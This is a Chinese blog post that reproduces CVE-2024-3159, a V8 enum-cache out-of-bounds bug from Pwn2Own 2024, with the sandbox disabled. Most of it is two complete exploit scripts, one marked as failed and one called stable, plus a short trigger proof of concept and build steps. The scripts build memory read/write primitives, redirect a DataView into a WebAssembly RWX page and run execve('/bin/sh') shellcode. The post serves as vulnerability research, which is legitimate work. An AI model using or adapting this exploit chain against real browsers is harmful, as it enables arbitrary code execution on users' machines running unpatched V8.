CVE-2024-3159复现

前言

前置CVE-2023-4427,原理一致。24年PWN2OWN上的的利用,我这里没有绕过沙箱。

环境搭建

环境和CVE-2023-4427一样,然后关了沙箱

debug版本

1
2
3
4
git checkout 12.2.149
gclient sync -D
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out/debug -j 10 d8

release

1
2
3
4
git checkout 12.2.149
gclient sync -D
gn gen out/release --args="symbol_level=2 blink_symbol_level=2 is_debug=false enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out/release -j 10 d8

漏洞分析

我这里编写的poc不是很精简

本质就是需要更新的map的转移链上没有旧的map,这样就可以bypass源码中存在的enum cache检查,之后的利用就是和CVE-2023-4427一摸一样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
var obj1 = {};
obj1.a = 1;

var obj2 = {};
obj2.a = 1;
obj2.b = 2;

var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

var obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.d = 4;

var obj5 = {};
obj5.a = 1;
obj5.b = 2;
obj5.c = 3;
obj5.e = 4;

// init enum cache
for(let i in obj2){}

function trigger(callback){
for (let key in obj2){
if (key == "b"){
callback();
console.log(obj2[key]);
}
}
}

%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);

trigger(_ => {
obj5.e = 1.1;
for (let i in obj1){}
})

release模式下的输出

poc涉及到的转移链

由于split_map 缺少对 enum cache 检查,如果当前的split map 和 new map 相同,可以触发oob

exp

本地gdb调试的时候是可以有shell的,但是如果直接命令行运行会直接报错

原因出现在rw_array的地址上,这个rw_arrray的地址不是特别稳定,所以需要更精细的堆风水布局

以下为失败的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function stop(){
%SystemBreak();
}

function p(arg){
%DebugPrint(arg);
}

function spin(){
while(1){};
}

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}

function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}

function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}


function f64_to_u64(val){
f64[0] = val;
return u64[0];
}


function u64_to_f64(val){
u64[0] = val;
return f64[0];
}


function hex(str){
return str.toString(16).padStart(8,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

var victim_array = new Array(0x7400);
var rw_array = new Array(0x7400);

var victim_array_addr = 0x00202130;
var rw_array_addr = 0x00342128;

var fake_map_addr = victim_array_addr + 0x1000;
var fake_obj_addr = fake_map_addr + 0x1000;

// 0x27710018f0c8: 0x00183d01 0x32040404 0x15000842 0x0a0007ff
victim_array[0x1000 / 8] = lh_u32_to_f64(0x00183d01,0x32040404);
victim_array[0x1000 / 8 + 1] = lh_u32_to_f64(0x15000842,0x0a0007ff);

// struct of object
// map prop element length
victim_array[0x2000 / 8] = lh_u32_to_f64(fake_map_addr + 1,0x000006cd);
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(rw_array_addr + 1,0x0000e800);

// 一开始这里是 new Array(0x10000),然后问题出现了,就是obj2和fake_obj_array的element的距离大概有0x5000
// 初步怀疑是不是不在一个内存分配的 “段” 上,所以尝试了这里分配0x80000,果然本机测试上距离瞬间缩减到0x1e0
// 那后面的步骤就很简单了
var pad = new Array(0x30000);
// 初始化一下,让地址稳定
// rw_array[0] = lh_u32_to_f64(0,0);
var obj1 = {};
obj1.a = 1;

var obj2 = {};
obj2.a = 1;
obj2.b = 2;

var fake_obj_array = new Array(0x400).fill(lh_u32_to_f64(fake_obj_addr+1,fake_obj_addr+1));

var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

var obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.d = 4;

var obj5 = {};
obj5.a = 1;
obj5.b = 2;
obj5.c = 3;
obj5.e = 4;

// init enum cache
for(let i in obj2){}

function trigger(callback){
for (let key in obj2){
if (key == "b"){
callback();
// stop();
// console.log(obj2[key]);
return obj2[key];
}
}
}

for (let i = 0; i < 0x20000; i++){
trigger(_ => _);trigger(_ => _);
trigger(_ => _);trigger(_ => _);
}



var evil = trigger(_ => {
obj5.e = 1.1;
for (let i in obj1){}
})



// p(victim_array);
// p(rw_array);
// p(evil);
// console.log(typeof evil);
// p(obj2);
// p(fake_obj_array);
// p(trigger);

logg("victim_array_addr",victim_array_addr);
logg("rw_array",rw_array_addr);
logg("fake_map_addr",fake_map_addr);
logg("fake_obj_addr",fake_obj_addr);


rw_array[0] = lh_u32_to_f64(0,0);

function spary_rw_array_value(range,val){
for (let i = 0; i < range; i++){
rw_array[i] = val;
}
}

function addressOf(obj){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(rw_array_addr + 1,0x0000e800);
spary_rw_array_value(0x1000,obj);
return f64_to_u32l(evil[0]);
}

function cage_read(addr){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr + 1 - 8,0x0000e800);
return f64_to_u64(evil[0]);
}

function cage_write_8bytes(addr,val){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr + 1 - 8,0x0000e800);
evil[0] = u64_to_f64(val);
}

function cage_write_4bytes(addr,val){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr + 1 - 8,0x0000e800);
let org_val = cage_read(addr);
// logg("org_val",org_val);
// logg("write val",val);
// logg("lo",val & 0xffffffff);
// logg("hi",Number(org_val >> 32n));
evil[0] = lh_u32_to_f64(val & 0xffffffff,Number(org_val >> 32n));
}

function copy_shellcode_to_rwxpage(){
var buffer = new ArrayBuffer(0x20);
var data_view = new DataView(buffer);
var data_view_addr = addressOf(data_view);
// p(data_view);
var backing_store_addr = data_view_addr-0x44-1+0x20;
logg("data_view_addr",(data_view_addr));
logg("backing_store_addr",(backing_store_addr));
// // p(data_view);
cage_write_8bytes(backing_store_addr,rwx_page_addr);

for (let i = 0; i < 3; i++){
data_view.setBigInt64(0+i*0x8,shellcode[i],true);
}
}

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var instance = new WebAssembly.Instance(wasmModule, {});
var pwn = instance.exports.main;


var instance_addr = addressOf(instance) - 1;
var jump_table_addr = instance_addr + 0x48;
var rwx_page_addr = cage_read(instance_addr+0x48);
logg("instance_addr",instance_addr);
logg("jump_table_addr",jump_table_addr);
logg("rwx_page_addr",rwx_page_addr);
copy_shellcode_to_rwxpage();

// pwn();
stop();
pwn();

// spin();


之后调出来了一个很稳定的,爽。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function stop(){
%SystemBreak();
}

function p(arg){
%DebugPrint(arg);
}

function spin(){
while(1){};
}

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}

function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}

function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}


function f64_to_u64(val){
f64[0] = val;
return u64[0];
}


function u64_to_f64(val){
u64[0] = val;
return f64[0];
}


function hex(str){
return str.toString(16).padStart(8,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

var pad = new Array(0x10000);
var victim_array = new Array(0x7400);

var victim_array_addr = 0x00282130;
var rw_array_addr = 0x00342128;

var fake_map_addr = victim_array_addr + 0x1000;
var fake_obj_addr = fake_map_addr + 0x1000;

// 0x27710018f0c8: 0x00183d01 0x32040404 0x15000842 0x0a0007ff
victim_array[0x1000 / 8] = lh_u32_to_f64(0x00183d01,0x32040404);
victim_array[0x1000 / 8 + 1] = lh_u32_to_f64(0x15000842,0x0a0007ff);

// struct of object
// map prop element length
victim_array[0x2000 / 8] = lh_u32_to_f64(fake_map_addr + 1,0x000006cd);
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(rw_array_addr + 1,0x0000e800);

// 一开始这里是 new Array(0x10000),然后问题出现了,就是obj2和fake_obj_array的element的距离大概有0x5000
// 初步怀疑是不是不在一个内存分配的 “段” 上,所以尝试了这里分配0x0000,果然本机测试上距离瞬间缩减到0x1e0
// 那后面的步骤就很简单了
// var pad = new Array(0x30000);
// 初始化一下,让地址稳定
// rw_array[0] = lh_u32_to_f64(0,0);

var rw_array = new Array(0x10000).fill({});
var pad = new Array(0x30000).fill({});
var obj1 = {};
obj1.a = 1;

var obj2 = {};
obj2.a = 1;
obj2.b = 2;

var fake_obj_array = new Array(0x400).fill(lh_u32_to_f64(fake_obj_addr+1,fake_obj_addr+1));

var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

var obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.d = 4;

var obj5 = {};
obj5.a = 1;
obj5.b = 2;
obj5.c = 3;
obj5.e = 4;

// init enum cache
for(let i in obj2){}

function trigger(callback){
for (let key in obj2){
if (key == "b"){
callback();
// stop();
// console.log(obj2[key]);
return obj2[key];
}
}
}

for (let i = 0; i < 0x20000; i++){
trigger(_ => _);trigger(_ => _);
trigger(_ => _);trigger(_ => _);
}

var evil = trigger(_ => {
obj5.e = 1.1;
for (let i in obj1){}
})

// rw_array[0] = lh_u32_to_f64(0,0);

// p(victim_array);
// p(rw_array);
// p(evil);
// console.log(typeof evil);
// p(obj2);
// p(fake_obj_array);
// p(trigger);

// logg("victim_array_addr",victim_array_addr);
// logg("rw_array",rw_array_addr);
// logg("fake_map_addr",fake_map_addr);
// logg("fake_obj_addr",fake_obj_addr);

if ((typeof evil) != "object"){
console.log("[x] oob fail, check again!");
}else {
console.log("[+] oob success");

function spary_rw_array_value(range,val){
for (let i = 0; i < range; i++){
rw_array[i] = val;
}
}

function addressOf(obj){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(rw_array_addr + 1,0x0000e800);
spary_rw_array_value(0x1000,obj);
return f64_to_u32l(evil[0]);
}



function cage_read(addr){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr + 1 - 8,0x0000e800);
return f64_to_u64(evil[0]);
}


function cage_write_8bytes(addr,val){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr + 1 - 8,0x0000e800);
evil[0] = u64_to_f64(val);
}

function cage_write_4bytes(addr,val){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr + 1 - 8,0x0000e800);
let org_val = cage_read(addr);
// logg("org_val",org_val);
// logg("write val",val);
// logg("lo",val & 0xffffffff);
// logg("hi",Number(org_val >> 32n));
evil[0] = lh_u32_to_f64(val & 0xffffffff,Number(org_val >> 32n));
}

function copy_shellcode_to_rwxpage(){
var buffer = new ArrayBuffer(0x20);
var data_view = new DataView(buffer);
var data_view_addr = addressOf(data_view);
// p(data_view);
var backing_store_addr = data_view_addr-0x44-1+0x20;
logg("data_view_addr",(data_view_addr));
logg("backing_store_addr",(backing_store_addr));
// // p(data_view);
cage_write_8bytes(backing_store_addr,rwx_page_addr);

for (let i = 0; i < 3; i++){
data_view.setBigInt64(0+i*0x8,shellcode[i],true);
}
}

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var instance = new WebAssembly.Instance(wasmModule, {});
var pwn = instance.exports.main;

var instance_addr = addressOf(instance) - 1;
var jump_table_addr = instance_addr + 0x48;
var rwx_page_addr = cage_read(instance_addr+0x48);

logg("instance_addr",instance_addr);
logg("jump_table_addr",jump_table_addr);
logg("rwx_page_addr",rwx_page_addr);
copy_shellcode_to_rwxpage();

// stop();
pwn();
// spin();
}

参考文章

https://x.com/thezdi/status/1770927914831274115

https://x.com/buptsb/status/1775434620554850693

https://docs.google.com/document/d/1ke0S2NrhPIo7VX2zpEKyMVURVOk-v22mNvAovlL6EeM/edit?pli=1&tab=t.0

https://chromium-review.googlesource.com/c/v8/v8/+/5410318?tab=comments

https://buptsb.github.io/blog/post/CVE-2024-3159%20PoC-%20v8%20enumcache%20oob%202.0%2C%20Pwn2Own%202024.html


CVE-2024-3159复现
http://example.com/2025/03/21/CVE-2024-3159/
作者
flyyy
发布于
2025年3月21日
许可协议